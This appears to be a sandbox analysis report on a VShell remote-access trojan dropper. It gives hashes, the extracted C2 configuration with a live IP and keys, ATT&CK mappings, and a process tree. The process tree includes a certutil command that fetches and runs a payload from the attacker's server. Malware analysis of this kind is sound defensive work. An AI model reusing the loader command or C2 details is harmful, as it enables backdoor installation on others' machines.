vshell | e9649fbe4c83efe5321a4111d83c0ffc50b6b508d7e165c12bd1ac91ccc8f6e4

Analysis

max time kernel
149s
max time network
148s
platform
windows10-2004_x64
resource
win10v2004-20260911-en
resource tags

arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
28/09/2026, 12:30

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General

Target
windows.bat
Size 505B
Sample260928-ppmlgsty7p
SHA256 e9649fbe4c83efe5321a4111d83c0ffc50b6b508d7e165c12bd1ac91ccc8f6e4
MD5 1620496e240bb7a1d6ba53db18539807
SHA1 a337fb67f16d07c5e4478136f6d7231c0e4ae7ba
SHA512 acbf4876c45958cd42b7fbccc1c6799468403239aa48463c56116ad8bf93981219e86f52ca72450566d86b85d04f48c2cd57752baff621a3be88c4a1fb84b4a2
TLSH
T12BF0598D242B0CF117CEC81374817CCDA18E44C946B0D5486D8361DF1D861DAAEBB7A6
MD5 SHA1 SHA512 TLSH

Score

10^/10

backdoor discovery execution vshell rat

Malware Config

Extracted

Family

vshell

ws://111.230.151.240

Attributes

port
8084
salt
qwe123qwe
type
ws
vkey
qwe123qwe

Signatures

Family: VShell
VShell is a cross-platform Go-based RAT and C2 framework targeting Windows and Linux.
backdoor rat vshell

Detects VSHELL Backdoor 1 IoCs

resource	yara_rule
behavioral1/memory/4040-7-0x0000000067D40000-0x0000000068534000-memory.dmp	family_vshell

Downloads MZ/PE file 2 IoCs

flow	pid	Process
3	3356	certutil.exe
6	3356	certutil.exe

Executes dropped EXE 1 IoCs

pid	Process
4040	79d1174dws.exe

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
3768	cmd.exe
1084	cmd.exe

Reads the TCP/IP host and domain name from the registry 1 TTPs 4 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	79d1174dws.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	79d1174dws.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
4040	79d1174dws.exe

Suspicious use of AdjustPrivilegeToken 43 IoCs

description	pid	Process
Token: SeIncreaseQuotaPrivilege	2204	WMIC.exe
Token: SeSecurityPrivilege	2204	WMIC.exe
Token: SeTakeOwnershipPrivilege	2204	WMIC.exe
Token: SeLoadDriverPrivilege	2204	WMIC.exe
Token: SeSystemProfilePrivilege	2204	WMIC.exe
Token: SeSystemtimePrivilege	2204	WMIC.exe
Token: SeProfSingleProcessPrivilege	2204	WMIC.exe
Token: SeIncBasePriorityPrivilege	2204	WMIC.exe
Token: SeCreatePagefilePrivilege	2204	WMIC.exe
Token: SeBackupPrivilege	2204	WMIC.exe
Token: SeRestorePrivilege	2204	WMIC.exe
Token: SeShutdownPrivilege	2204	WMIC.exe
Token: SeDebugPrivilege	2204	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2204	WMIC.exe
Token: SeRemoteShutdownPrivilege	2204	WMIC.exe
Token: SeUndockPrivilege	2204	WMIC.exe
Token: SeManageVolumePrivilege	2204	WMIC.exe
Token: 33	2204	WMIC.exe
Token: 34	2204	WMIC.exe
Token: 35	2204	WMIC.exe
Token: 36	2204	WMIC.exe
Token: SeIncreaseQuotaPrivilege	2204	WMIC.exe
Token: SeSecurityPrivilege	2204	WMIC.exe
Token: SeTakeOwnershipPrivilege	2204	WMIC.exe
Token: SeLoadDriverPrivilege	2204	WMIC.exe
Token: SeSystemProfilePrivilege	2204	WMIC.exe
Token: SeSystemtimePrivilege	2204	WMIC.exe
Token: SeProfSingleProcessPrivilege	2204	WMIC.exe
Token: SeIncBasePriorityPrivilege	2204	WMIC.exe
Token: SeCreatePagefilePrivilege	2204	WMIC.exe
Token: SeBackupPrivilege	2204	WMIC.exe
Token: SeRestorePrivilege	2204	WMIC.exe
Token: SeShutdownPrivilege	2204	WMIC.exe
Token: SeDebugPrivilege	2204	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2204	WMIC.exe
Token: SeRemoteShutdownPrivilege	2204	WMIC.exe
Token: SeUndockPrivilege	2204	WMIC.exe
Token: SeManageVolumePrivilege	2204	WMIC.exe
Token: 33	2204	WMIC.exe
Token: 34	2204	WMIC.exe
Token: 35	2204	WMIC.exe
Token: 36	2204	WMIC.exe
Token: SeDebugPrivilege	4040	79d1174dws.exe

Suspicious use of WriteProcessMemory 5 IoCs

description	pid	Process	procid_target
PID 3768 wrote to memory of 1084	3768	cmd.exe	87
PID 1084 wrote to memory of 2204	1084	cmd.exe	88
PID 1084 wrote to memory of 5004	1084	cmd.exe	89
PID 3768 wrote to memory of 3356	3768	cmd.exe	91
PID 3768 wrote to memory of 4040	3768	cmd.exe	95

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\windows.bat"
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3768
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c wmic os get osarchitecture | findstr 64
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1084
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic os get osarchitecture
    3⤵
    - Reads the TCP/IP host and domain name from the registry
    - Suspicious use of AdjustPrivilegeToken
    PID:2204
- - C:\Windows\system32\findstr.exe
    findstr 64
    3⤵
    PID:5004
- C:\Windows\system32\certutil.exe
  certutil.exe -urlcache -split -f "http://111.230.151.240:8084/?h=111.230.151.240&p=8084&t=ws&a=w64&stage=true" "C:\Users\Public\79d1174dws.exe"
  2⤵
  - Downloads MZ/PE file
  PID:3356
- C:\Users\Public\79d1174dws.exe
  "C:\Users\Public\79d1174dws.exe"
  2⤵
  - Executes dropped EXE
  - Reads the TCP/IP host and domain name from the registry
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4040

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

79d1174dws.exe

Path C:\Users\Public\79d1174dws.exe
Size 4KB
SHA256 372afc1fcc7bbc499b2358ca03a5a0aac72996f5818bcae11a779b3f9375ee77
MD5 551afa503ac9575bbe8be1c8cbbe2319
SHA1 822133cf041ea9f52c2fb6c22ca8f4037dd53493
SHA512 ed6624495e00632833dc52c240deccba87291f8e004e4fe68433d3f8c52338ca72553d70df86c408d6d78a7d7da07e97102c57ffeb0a2e6b9d30c6391737bdd1
SSDEEP 48:6IIF9BlQaex3gZS7An0cF5uduvxRxUjbON9XM/ge93ahr0/:y9BOaMa70cF50uDxUOvXeg
TLSH
T18891C44270B989E7E85C41BF4C0FB8A0B91DB40A41C483A60338A5993E3A52BF47CB0E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/4040-7-0x0000000067D40000-0x0000000068534000-memory.dmp

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memory/4040-11-0x00000135D3AF0000-0x00000135D578D000-memory.dmp

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memory/4040-18-0x00000135D3AF0000-0x00000135D578D000-memory.dmp

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